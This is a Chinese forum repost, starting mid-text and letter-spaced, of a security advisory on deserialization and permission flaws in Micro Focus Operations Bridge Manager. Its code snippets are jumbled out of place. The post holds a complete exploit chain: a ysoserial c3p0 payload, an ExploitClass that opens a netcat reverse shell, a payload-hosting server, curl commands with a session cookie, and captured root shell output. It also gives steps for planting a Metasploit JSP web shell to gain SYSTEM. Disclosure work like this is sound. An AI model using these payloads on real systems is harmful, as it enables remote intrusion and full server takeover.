n g ,   p l e a s e   t r y   a g a i n . . . " ) p u b l i c   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {     O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( ( I n p u t S t r e a m ) r e q u e s t . g e t I n p u t S t r e a m ( ) ) ;     H a s h M a p < O b j e c t ,   O b j e c t >   r e q u e s t M a p   =   n u l l ;     t r y   {         r e q u e s t M a p   =   ( H a s h M a p < O b j e c t ,   O b j e c t > ) o i s . r e a d O b j e c t ( ) ;     }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( r e q u e s t M a p   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   s a m p l e _ t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   s a m p l e _ t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       S t r i n g   a p i N a m e   =   r e q u e s t . g e t P a r a m e t e r ( " a p i N a m e " ) ;     i f   ( a p i N a m e   = =   n u l l   | |   a p i N a m e . e q u a l s ( " " ) )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   a p i _ n a m e   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   a p i _ n a m e   f r o m   r e q u e s t . " ) ;         r e t u r n ;
D 片 段 ： c o m . h p . p r . l e g a c y . s i t e s c o p e . s e r v l e t . R e g i s t r a t i o n S e r v l e t . d o P o s t ( ) 从 前 几 行 可 以 看 出 ， 这 个 s e r v l e t 包 含 了 一 个 经 典 的 ， 运 行 中 的 J a v a   D e s e r i a l i z a t i o n 漏 洞 。 H T T P   P O S T 请 求 的 请 求 体 被 变 成 了 一 个 O b j e c t I n p u t S t r e a m ， 然 后 r e a d O b j e c t ( ) 被 调 用 。 触 发 这 个 漏 洞 是 很 简 单 的 ， 只 需 要 向 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n 发 送 一 个 P O S T 请 求 ， 请 求 体 带 有 漏 洞 。 为 了 利 用 它 ， 需 要 用 c 3 p 0   0 . 9 . 1 . 2 编 译 y s o s e r i a l 。 在 编 译 前 ， 应 将   S n i p p e t   E   中 的 补 丁 应 用 于   y s o s e r i a l ： 代 码 集   E :   为   c 3 p 0   0 . 9 . 1 . 2   编 译 的   y s o s e r i a l   打 补 丁 。 为 了 在 W i n d o w s 中 使 用 c 3 p 0   y s o s e r i a l 有 效 载 荷 进 行 利 用 ， 我 们 需 要 生 成 一 个   " 利 用 类 " ： 样 本 F ： E x p l o i t C l a s s 代 码 E x p l o i t C l a s s 代 码 需 要 用 J a v a   8 编 译 ： 然 后 我 们 启 动 一 个 为 对 象 服 务 的 P y t h o n 服 务 器 ， 以 及 一 个 接 收 反 向 s h e l l 的 监 听 器 （ 假 设 我 们 攻 击 的 是 L i n u x 服 务 器 ） : 用 我 们 新 行 编 译 的 y s o s e r i a l 生 成 有 效 载 荷 :     }       A P I H a n d l e r   h   =   A P I H a n d l e r s D i c t i o n a r y . g e t H a n d l e r ( a p i N a m e ) ;     i f   ( h   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " d o P o s t :   d o n t   h a v e   h a n d l e r   f o r   a p i _ n a m e   = ' "   +   a p i N a m e   +   " ' " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " d o P o s t :   d o n t   h a v e   h a n d l e r   f o r   s u p p l i e d   a p i _ n a m e " ) ;         r e t u r n ;     }       i f   ( s _ l o g g e r . i s D e b u g E n a b l e d ( ) )         s _ l o g g e r . d e b u g ( " d o P o s t :   F o u n d   h a n d l e r   f o r   a p i   "   +   a p i N a m e   +   " ,   i n v o k i n g   i t . . . " ) ;       i n v o k e H a n d l e r ( h ,   r e q u e s t M a p ,   r e s p o n s e ) ;     } d i f f   - - g i t   a / p o m . x m l   b / p o m . x m l i n d e x   7 3 d 3 9 c 4 . . 9 d 2 7 4 7 3   1 0 0 6 4 4 - - -   a / p o m . x m l + + +   b / p o m . x m l @ @   - 2 3 9 , 7   + 2 3 9 , 7   @ @                                 < d e p e n d e n c y >                                                 < g r o u p I d > c o m . m c h a n g e < / g r o u p I d >                                                 < a r t i f a c t I d > c 3 p 0 < / a r t i f a c t I d > -                                               < v e r s i o n > 0 . 9 . 5 . 2 < / v e r s i o n > +                                               < v e r s i o n > 0 . 9 . 1 . 2 < / v e r s i o n >                                 < / d e p e n d e n c y >                                 < d e p e n d e n c y >                                                 < g r o u p I d > j a v a x . s e r v l e t < / g r o u p I d > c a t     < <   E O F   >   E x p l o i t C l a s s . j a v a p u b l i c   c l a s s   E x p l o i t C l a s s   {     p u b l i c   E x p l o i t C l a s s ( )   t h r o w s   E x c e p t i o n   {         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;         / /   f o r   L i n u x         S t r i n g [ ]   c o m m a n d s   =   { " / b i n / s h " ,   " - c " ,   " n c   1 0 . 1 0 . 1 0 . 1   8 8 8 8   - e   / b i n / s h " } ;         / /   f o r   W i n d o w s         / / S t r i n g [ ]   c o m m a n d s   =   { " c m d " ,   " / c " ,   " m s p a i n t . e x e " } ;         P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;         p c . w a i t F o r ( ) ;     } } E O F / u s r / l i b / j v m / j a v a - 8 - o p e n j d k - a m d 6 4 / b i n / j a v a c   E x p l o i t C l a s s . j a v a p y t h o n   - m   S i m p l e H T T P S e r v e r   4 4 4 4   & n c   - l v k n p   8 8 8 8 j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l - c 3 p 0 - 0 . 9 . 1 . 2 . j a r   C 3 P 0   " h t t p : / / 1 0 . 1 0 . 1 0 . 1 : 4 4 4 4 / : E x p l o i t C l a s s "   >   / t m p / p a y l o a d . s e r C O O K I E = ' C o o k i e :   J S E S S I O N I D = x Q J J m H D w O Q M l A L 9 3 P a L P E 4 P A ;   L W S S O _ C O O K I E _ K E Y = m q x 8 G A J d W 7 M 8 d h 5 b O 9 9 h i Z j X A g O H m d t e a L s y _ c 9 N 7 7 F 6 n 2 f F B _ X W p e 0 w D H n p G - x 2 R b O H N m 3 H 7 h j H s m Y p R c 4 P P g 2 o h E F N 7 d u z t v J D 0 M _ u 3 G U c g _ Y U J P y 5 c 6 e w b q i 6 1 F R l l h 0 A o N w A b 5 K - 1 f N - u R V K 0 c 8 y E V V I k B b x n 9 v x s C E h o f R b Z N d t n D Q M b 3 W U e b 7 y I n w R A z f P I C W M n E 5 i u J _ T T y T D l w . . ; ' c u r l   - i   - s   - k   - X   $ ' P O S T '       - H   $ ' H o s t :   1 0 . 1 0 . 1 0 . 9 9 '       - - d a t a - b i n a r y   @ / t m p / p a y l o a d . s e r       - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m '   - H   ' E x p e c t : '   - H   " $ C O O K I E "           $ ' h t t p s : / / 1 0 . 1 0 . 1 0 . 9 9 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n '
样 本 G ： c u r l 请 求 触 发 J a v a 反 序 列 化 。 这 将 导 致 P y t h o n   w e b 服 务 器 收 到 E x p l o i t C l a s s 的 请 求 ， 然 后 是 我 们 的 反 向 s h e l l : 请 注 意 ， 这 个 漏 洞 只 能 被 登 录 到 主 W e b 应 用 程 序 的 攻 击 者 利 用 。 不 幸 的 是 ， 对 于 攻 击 者 来 说 ， 由 于 漏 洞 # 1 中 讨 论 的 诊 断 账 户 不 能 用 于 登 录 到 主 W e b 应 用 程 序 ， 因 此 只 有 通 过 其 他 方 式 实 现 身 份 验 证 时 ， 该 漏 洞 仍 然 可 以 利 用 。 为 了 运 行 S n i p p e t   G 中 的 漏 洞 ， 首 先 使 用 有 效 账 户 在 4 4 3 端 口 上 对 主 W e b 应 用 程 序 进 行 身 份 验 证 ， 然 后 在 执 行 c u r l 命 令 之 前 将 C O O K I E 变 量 改 为 身 份 验 证 后 收 到 的 L W S S O _ C O O K I E _ K E Y 。 L i n u x 和 W i n d o w s 版 本 的 O B M 都 会 受 到 这 个 漏 洞 的 影 响 。 4 ： ： S A M D o w n l o a d S e r v l e t 中 不 安 全 的 中 不 安 全 的 J a v a 反 序 列 化 反 序 列 化 C W E - 5 0 2 。 不 受 信 任 数 据 的 解 串 联 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 3 2 8 风 险 分 类 。 危 急 攻 击 向 量 。 远 程 限 制 条 件 ： 需 要 认 证 受 影 响 的 产 品 / 版 本 。 操 作 桥 管 理 器 版 本 。 2 0 2 0 . 0 5 、 2 0 1 9 . 1 1 、 2 0 1 9 . 0 5 、 2 0 1 8 . 1 1 、 2 0 1 8 . 0 5 、 1 0 . 6 x 和 1 0 . 1 x 版 本 及 旧 版 本 。 应 用 性 能 管 理 版 本 。 9 . 5 1 、 9 . 5 0 和 9 . 4 0 ， 带 u C M D B   1 0 . 3 3   C U P   3 。 数 据 中 心 自 动 化 2 0 1 9 . 1 1 版 本 运 营 桥 （ 容 器 化 ） 版 本 。 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 通 用 C M D B 版 本 。 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 混 合 云 管 理 2 0 2 0 . 0 5 版 本 2 0 2 0 . 5 和 2 0 2 0 . 0 2 版 本 的 服 务 管 理 自 动 化 。 另 一 个 存 在 非 常 简 单 的 J a v a 反 序 列 化 漏 洞 的 s e r v l e t 是 c o m . h p . o p r . l e g a c y . s i t e s c o p e . s e r v l e t . S A M D o w n l o a d S e r v l e t ， 它 暴 露 在 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / d o w n l o a d 处 。 d o P o s t ( ) 方 法 的 代 码 如 下 所 示 : S n i p p e t   H :   c o m . h p . p r . l e g a c y . s i t e s c o p e . s e r v l e t . S A M D o w n l o a d S e r v l e t . d o P o s t ( ) 漏 洞 # 3 的 限 制 条 件 同 样 适 用 于 这 个 漏 洞 。 需 要 进 行 身 份 验 证 ， 不 能 使 用 漏 洞 # 1 中 的 硬 编 码 诊 断 账 户 ， 并 且 需 要 使 用 打 过 补 丁 的 y s o s e r i a l 与 c 3 p 0   0 . 9 . 1 . 2 来 进 行 利 用 。 这 个 漏 洞 的 利 用 方 式 与 前 一 个 漏 洞 完 全 相 同 ， 唯 一 需 要 修 改 的 是 S n i p p e t   G 的 目 标 U R L ， 必 须 改 为 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / d o w n l o a d 。 L i n u x 和 W i n d o w s 版 本 的 O B M 都 会 受 到 这 个 漏 洞 的 影 响 。 1 0 . 1 0 . 1 0 . 9 9   -   -   [ ]   " G E T   / E x p l o i t C l a s s . c l a s s   H T T P / 1 . 1 "   2 0 0   - c o n n e c t   t o   [ 1 0 . 1 0 . 1 0 . 1 ]   f r o m   ( U N K N O W N )   [ 1 0 . 1 0 . 1 0 . 9 9 ]   5 5 3 4 0 w h o a m i r o o t i d u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t )   c o n t e x t = s y s t e m _ u : s y s t e m _ r : u n c o n f i n e d _ s e r v i c e _ t : s 0 u n a m e   - a L i n u x   c e n t o s 7 . n a t   3 . 1 0 . 0 - 1 0 6 2 . 1 8 . 1 . e l 7 . x 8 6 _ 6 4   # 1   S M P   T u e   M a r   1 7   2 3 : 4 9 : 1 7   U T C   2 0 2 0   x 8 6 _ 6 4   x 8 6 _ 6 4   x 8 6 _ 6 4   G N U / L i n u x l s h p b s m d . p i d l i b w r a p p e r . s o n a n n y W r a p p e r R u n n e r . s h w r a p p e r w r a p p e r . j a r p w d / o p t / H P / B S M / s u p e r v i s o r / w r a p p e r   p u b l i c   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {     M a p < O b j e c t ,   O b j e c t >   r e q u e s t M a p ;     O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( ( I n p u t S t r e a m ) r e q u e s t . g e t I n p u t S t r e a m ( ) ) ;     t r y   {         r e q u e s t M a p   =   ( M a p < O b j e c t ,   O b j e c t > ) o i s . r e a d O b j e c t ( ) ;     }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( r e q u e s t M a p   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   r e q u e s t M a p   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   r e q u e s t M a p   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( ! v a l i d a t e D a t a ( r e q u e s t M a p ) )   {         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " U n a b l e   t o   v a l i d a t e   p r o p e r t i e s   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       S t r i n g   x m l V a l u e   =   h a n d l e R e q u e s t ( r e q u e s t M a p ) ;     r e s p o n s e . s e t C o n t e n t T y p e ( " t e x t / x m l ;   c h a r s e t = U T F - 8 " ) ;     P r i n t W r i t e r   w r i t e r   =   r e s p o n s e . g e t W r i t e r ( ) ;     w r i t e r . w r i t e ( x m l V a l u e ) ;     }
5 ： ： R e m o t e P r o x y S e r v l e t 中 不 安 全 的 中 不 安 全 的 J a v a 反 序 列 化 问 题 反 序 列 化 问 题 C W E - 5 0 2 。 不 受 信 任 数 据 的 解 串 联 未 指 定 C V E 风 险 分 类 。 危 急 攻 击 向 量 。 远 程 限 制 条 件 ： 无 / 不 适 用 受 影 响 的 产 品 / 版 本 。 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r   2 0 2 0 . 0 5   ( 早 期 版 本 可 能 受 影 响 ) 最 后 一 个 存 在 J a v a 反 序 列 化 漏 洞 的 s e r v l e t 是 c o m . m e r c u r y . u t i l . p r o x y . s e r v l e t . R e m o t e P r o x y S e r v l e t ， 它 在 / t o p a z / r e m o t e P r o x y 和 / t o p a z / k p i Q u e r y S e r v i c e P r o x y 暴 露 了 两 个 端 点 。 该 s e r v l e t 的 d o P o s t ( ) 方 法 部 分 如 下 图 所 示 : 样 本 一 ： c o m . m e r c u r y . u t i l . p r o x y . s e r v l e t . R e m o t e P r o x y S e r v l e t . d o P o s t ( ) 然 而 ， 我 们 又 有 一 个 直 接 的 J a v a 反 序 列 化 漏 洞 ： H T T P   P O S T 请 求 的 主 体 在 没 有 被 检 查 或 修 改 的 情 况 下 被 作 为 一 个 对 象 读 取 。 这 个 漏 洞 与 之 前 的 漏 洞 相 比 ， 有 一 个 很 大 的 优 势 - - 它 可 以 被 未 经 认 证 的 攻 击 者 触 发 。 不 幸 的 是 ， 对 于 攻 击 者 来 说 ， J B o s s 应 用 服 务 器 的 J a v a   c l a s s p a t h 不 包 含 任 何 易 受 攻 击 的 小 工 具 。 可 以 通 过 使 用 y s o s e r i a l 的 U R L D N S 小 工 具 来 确 认 该 漏 洞 : 这 将 导 致 发 送 D N S 查 询 来 解 析   " f a k e s i t e t h a t d o e s n t e x i s t . c o m " 。 虽 然 c l a s s p a t h 不 包 含 任 何 开 箱 即 用 的 小 工 具 ， 但 有 足 够 时 间 和 耐 心 的 攻 击 者 很 可 能 能 够 构 建 一 个 J a v a 小 工 具 链 ， 将 这 个 概 念 证 明 转 化 为 未 经 认 证 的 远 程 代 码 执 行 。 6 ： 使 用 过 时 和 不 安 全 的 ： 使 用 过 时 和 不 安 全 的 J a v a 库 库 p r o t e c t e d   f i n a l   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   h t t p S e r v l e t R e q u e s t ,   H t t p S e r v l e t R e s p o n s e   h t t p S e r v l e t R e s p o n s e )             t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {         I n v o c a t i o n I n f o   i n v o c a t i o n I n f o   =   n u l l ;         M e t h o d   m e t h o d   =   n u l l ;         I n v o c a t i o n R e s u l t   r e t u r n e d r e s u l t ;         t r y   {             O b j e c t I n p u t S t r e a m   o b j e c t I n p u t S t r e a m   =   n e w   O b j e c t I n p u t S t r e a m ( h t t p S e r v l e t R e q u e s t . g e t I n p u t S t r e a m ( ) ) ;             i n v o c a t i o n I n f o   =   ( I n v o c a t i o n I n f o )   o b j e c t I n p u t S t r e a m . r e a d O b j e c t ( ) ;             O b j e c t   c o n t r o l l e r   =   t h i s . g e t T a r g e t O b j e c t ( h t t p S e r v l e t R e q u e s t ,   i n v o c a t i o n I n f o ) ;             v a l i d a t e P r o x i e d O b j e c t S t a t e ( c o n t r o l l e r ,   i n v o c a t i o n I n f o ) ;             O b j e c t   r e s u l t ;             s y n c h r o n i z e d   ( c o n t r o l l e r )   {                 i f   ( c o n t r o l l e r   i n s t a n c e o f   R e q u e s t S u p p o r t )   {                     ( ( R e q u e s t S u p p o r t )   c o n t r o l l e r ) . s e t R e q u e s t ( h t t p S e r v l e t R e q u e s t ) ;                 }                 m e t h o d   =   c o n t r o l l e r . g e t C l a s s ( ) . g e t M e t h o d ( i n v o c a t i o n I n f o . g e t M e t h o d N a m e ( ) ,                         i n v o c a t i o n I n f o . g e t P a r a m e t e r T y p e s ( ) ) ;                 r e s u l t   =   m e t h o d . i n v o k e ( c o n t r o l l e r ,   i n v o c a t i o n I n f o . g e t A r g s ( ) ) ;             }             i f   ( P r o x y U t i l s . i s S t a t e f u l F a c t o r y ( i n v o c a t i o n I n f o . g e t D e c l a r i n g C l a s s ( ) ) )   {                 S t r i n g   k e y   =   g e t U n i q u e S e s s i o n I D ( i n v o c a t i o n I n f o ) ;                 H t t p S e s s i o n   s e s s i o n   =   h t t p S e r v l e t R e q u e s t . g e t S e s s i o n ( t r u e ) ;                 s e s s i o n . s e t A t t r i b u t e ( k e y ,   r e s u l t ) ;                 r e s u l t   =   " S t a t e f u l   P r o x y   f o r   "   +   m e t h o d . g e t R e t u r n T y p e ( ) . g e t S i m p l e N a m e ( )                         +   "   w a s   i n i t i a t e d   s u c c e s f u l l y   u s i n g   t h e   f o l l o w i n g   P r o x y S t a t e f u l F a c t o r y   c l a s s   : "                         +   i n v o c a t i o n I n f o . g e t D e c l a r i n g C l a s s ( ) . g e t S i m p l e N a m e ( )   +   "   J S E S S I O N I D = "   +   s e s s i o n . g e t I d ( ) ;             }             r e t u r n e d r e s u l t   =   n e w   I n v o c a t i o n R e s u l t ( r e s u l t ,   ( T h r o w a b l e )   n u l l ) ;         }   c a t c h   ( T h r o w a b l e   v a r 1 2 )   {             T h r o w a b l e   e 1   =   w r i t e T o S e r v e r L o g ( v a r 1 2 ,   m e t h o d ) ;             r e t u r n e d r e s u l t   =   n e w   I n v o c a t i o n R e s u l t ( ( O b j e c t )   n u l l ,   e 1 ) ;         }         i f   ( _ l o g . i s D e b u g E n a b l e d ( ) )   {             p o s t R e s p o n s e W i t h D e b u g ( h t t p S e r v l e t R e s p o n s e ,   r e t u r n e d r e s u l t ,   i n v o c a t i o n I n f o ,                     h t t p S e r v l e t R e q u e s t . g e t S e s s i o n ( ) . g e t I d ( ) ) ;         }   e l s e   {             p o s t R e s p o n s e ( h t t p S e r v l e t R e s p o n s e ,   r e t u r n e d r e s u l t ) ;         } ( . . . ) j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   U R L D N S   " h t t p : / / f a k e s i t e t h a t d o e s n t e x i s t . c o m "   >   / t m p / p a y l o a d . s e r c u r l   - i   - s   - k   - X   $ ' P O S T '       - H   $ ' H o s t :   1 0 . 1 0 . 1 0 . 9 9 '       - - d a t a - b i n a r y   @ / t m p / p a y l o a d . s e r       - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m '   - H   ' E x p e c t : '         $ ' h t t p s : / / 1 0 . 1 0 . 1 0 . 9 9 / t o p a z / k p i Q u e r y S e r v i c e P r o x y '
C W E - 1 1 0 4 ： 使 用 未 维 护 的 第 三 方 组 件 。 未 指 定 C V E 风 险 分 类 。 危 急 攻 击 载 体 。 不 适 用 限 制 条 件 ： 无 / 不 适 用 受 影 响 的 产 品 / 版 本 。 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   R e p o r t e r   1 0 . 4 0   ( 早 期 版 本 可 能 受 影 响 ) 如 果 不 是 因 为 在 O B M 中 使 用 了 极 其 过 时 的 J a v a 库 ， # 2 、 # 3 和 # 4 中 列 出 的 漏 洞 可 能 更 难 被 利 用 。 这 些 库 中 包 含 的 J a v a 小 工 具 可 以 用 来 实 现 远 程 代 码 执 行 ， 就 像 上 面 描 述 的 那 样 。 产 品 中 存 在 许 多 过 时 的 、 易 受 攻 击 的 库 ， 但 以 下 库 包 含 了 被 广 泛 滥 用 的 J a v a 反 序 列 化 小 工 具 。 A p a c h e   C o m m o n s   B e a n U t i l s   1 . 9 . 3 B e a n S h e l l   2 . 0 b 4 C 3 P 0   0 . 9 . 1 . 2 如 果 这 些 都 不 存 在 于 c l a s s p a t h 中 ， 那 么 要 利 用 漏 洞 # 2 、 # 3 和 # 4 就 会 难 上 加 难 ， 导 致 出 现 像 漏 洞 # 5 中 描 述 的 情 况 （ 不 执 行 代 码 的 概 念 验 证 ） ， 并 且 需 要 花 费 更 多 的 精 力 去 利 用 。 所 述 的 三 个 库 包 含 的 小 工 具 都 是 开 箱 即 用 的 ， 或 者 只 需 对 y s o s e r i a l 中 的 有 效 载 荷 进 行 最 小 的 调 整 ， 这 使 得 它 们 非 常 容 易 被 滥 用 。 7 :   默 认 文 件 夹 权 限 不 正 确 （ 导 致 权 限 升 级 到 默 认 文 件 夹 权 限 不 正 确 （ 导 致 权 限 升 级 到 S Y S T E M ） ） C W E - 2 7 6 :   默 认 权 限 不 正 确 C V E - 2 0 2 0 - 1 1 8 5 8   /   Z D I - 2 0 - 1 3 2 6 风 险 分 类 。 危 急 攻 击 载 体 。 本 地 限 制 条 件 ： 无 / 不 适 用 受 影 响 的 产 品 / 版 本 。 操 作 桥 管 理 器 版 本 。 2 0 2 0 . 0 5 、 2 0 1 9 . 1 1 、 2 0 1 9 . 0 5 、 2 0 1 8 . 1 1 、 2 0 1 8 . 0 5 、 1 0 . 6 x 和 1 0 . 1 x 版 本 及 旧 版 本 。 运 营 桥 （ 容 器 化 ） 版 本 。 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 O B M 默 认 将 自 己 安 装 在 C : H P B S M 中 。 安 装 完 成 后 ， 这 个 目 录 及 其 所 有 子 文 件 夹 都 设 置 了   " 特 殊 权 限 " 。 特 殊 权 限 位 可 以 从 下 面 的 截 图 中 看 到 ： 如 果 我 们 进 一 步 钻 研 ， 我 们 可 以 看 到   " 普 通 " （ 非 管 理 员 ） 用 户 的 实 际 权 限 ：
因 此 ， 显 然   " 普 通   " 用 户 可 以 向 C : H P B S M 和 它 的 所 有 子 文 件 夹 写 入 文 件 。 从 这 里 开 始 ， 从   " 普 通   " 用 户 到 S Y S T E M 的 权 限 升 级 几 乎 是 微 不 足 道 的 。 以   " 普 通   " 用 户 （ 或 访 客 ） 的 身 份 登 录 到 安 装 O B M 的 W i n d o w s 系 统 中 去 在 M e t a s p l o i t 中 创 建 一 个 J S P   w e b   s h e l l ， 并 启 动 e x p l o i t / m u l t i / h a n d l e r 来 接 收 它 。 将 w e b   s h e l l 复 制 到 T o m c a t   w e b a p p s 目 录 中 ， 并 将 其 重 命 名 为 L B _ V e r i f y . j s p ( C : H P B S M A p p S e r v e r w e b a p p s s i t e . w a r L B _ V e r i f y . j s p ) 访 问 w e b 服 务 器 上 的 s h e l l 路 径 ( h t t p : / / T A R G E T / t o p a z / L B _ V e r i f y . j s p ) 在 M e t a s p l o i t 中 接 收 S Y S T E M   s h e l l ， 享 受 吧 ! 几 乎 琐 碎 的 部 分 是 由 于 s h e l l 的 重 命 名 为 L B _ V e r i f y . j s p 。 这 是 绝 对 必 要 的 ， 原 因 如 下 。 只 有 某 些 路 径 允 许 未 认 证 的 用 户 访 问 （ L B _ V e r i f y . j s p 就 是 其 中 之 一 ） 。 作 为 G u e s t / 无 权 用 户 ， 我 们 可 以 直 接 写 入 文 件 ， 但 不 能 删 除 或 修 改 任 何 现 有 文 件 ， 幸 运 的 是 L B _ V e r i f y . j s p 并 不 存 在 。 点 击 这 里 查 看 视 频 ， 可 以 看 到 完 整 的 操 作 链 。 需 要 注 意 的 是 ， M i c r o   F o c u s 的 H a r d e n i n g 文 档 规 定 ， 这 些 权 限 应 该 在 安 装 后 更 改 。 O B M 安 装 目 录 。 将 O B M 安 装 目 录 的 访 问 权 限 限 制 为 特 权 用 户 。 我 们 建 议 只 允 许 S Y S T E M 账 户 和 A d m i n i s t r a t o r s 组 访 问 这 个 目 录 。 然 而 这 就 引 出 了 一 个 问 题 - - 为 什 么 在 产 品 安 装 完 成 后 不 做 ？ 此 外 ， 文 档 还 存 在 误 导 性 ： 它 应 该 说 安 装 文 件 夹 和 所 有 子 文 件 夹 不 应 该 被 管 理 员 访 问 。 虽 然 这 一 点 是 有 记 录 的 ， 但 它 仍 然 是 一 个 严 重 的 漏 洞 ， 如 果 没 有 理 由 设 置 这 些 权 限 ， 那 么 它 们 应 该 由 安 装 程 序 自 动 解 除 设 置 。 只 有 W i n d o w s 版 本 的 O B M 受 到 这 个 漏 洞 的 影 响 。 修 复 修 复 / 解 决 方 案 解 决 方 案                 请 参 考 每 个 漏 洞 中 的 C V E 链 接 ， 并 升 级 到 受 影 响 产 品 的 最 新 版 本 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理